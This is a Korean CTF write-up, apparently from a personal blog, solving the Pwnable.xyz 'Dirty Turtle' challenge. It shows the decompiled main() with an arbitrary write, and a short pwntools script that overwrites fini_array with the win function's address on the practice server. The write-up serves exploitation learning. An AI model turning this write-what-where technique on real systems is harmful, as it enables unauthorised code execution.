tmxklab
[Pwnable.xyz] Dirty Turtle 본문
1. 문제
nc svc.pwnable.xyz 30033
1) mitigation 확인
2) 문제 확인
- 어떤 임의의 주소와 값을 입력으로 받고 있다.
3) 코드흐름 파악
3-1) main()
int __cdecl main(int argc, const char **argv, const char **envp)
{
char *s; // [rsp+0h] [rbp-10h]
__int64 v5; // [rsp+8h] [rbp-8h]
setup(argc, argv, envp);
puts("Dirty Turtle Off-RoadS");
printf("Addr: ");
s = (char *)get_val();
printf("Value: ");
v5 = get_val();
if ( v5 )
*(_QWORD *)s = v5;
else
puts(s);
return 0;
}
- 주소에 대한 입력을 s변수에 받고 값을 v5변수에 받는다.
- 어떤 임의의 주소에 어떤 값을 넣고 끝난다.
2. 접근방법
내가 원하는 주소에 값을 쓸 수 있다. got overwrite가 가능한 부분이지만 값을 쓰고 바로 메인 함수가 종료되버린다.
fini_array에 win함수를 Overwrite하여 문제 해결
3. 풀이
1) fini_array
- fini_array = 0x600bc0
2) 익스코드
from pwn import *
#context.log_level = "debug"
#p = process("./challenge")
p = remote("svc.pwnable.xyz", 30033)
p.sendafter("Addr: ", hex(0x600bc0))
p.sendafter("Value: ", hex(0x400821))
p.interactive()
3) 실행결과
4. 몰랐던 개념
'War Game > Pwnable.xyz' 카테고리의 다른 글
[Pwnable.xyz] notebook (0) | 2020.09.09 |
---|---|
[Pwnable.xyz] nin (0) | 2020.09.09 |
[Pwnable.xyz] Hero Factory (0) | 2020.09.09 |
[Pwnable.xyz] note v2 (0) | 2020.09.09 |
[Pwnable.xyz] executioner v2 (0) | 2020.09.09 |
Comments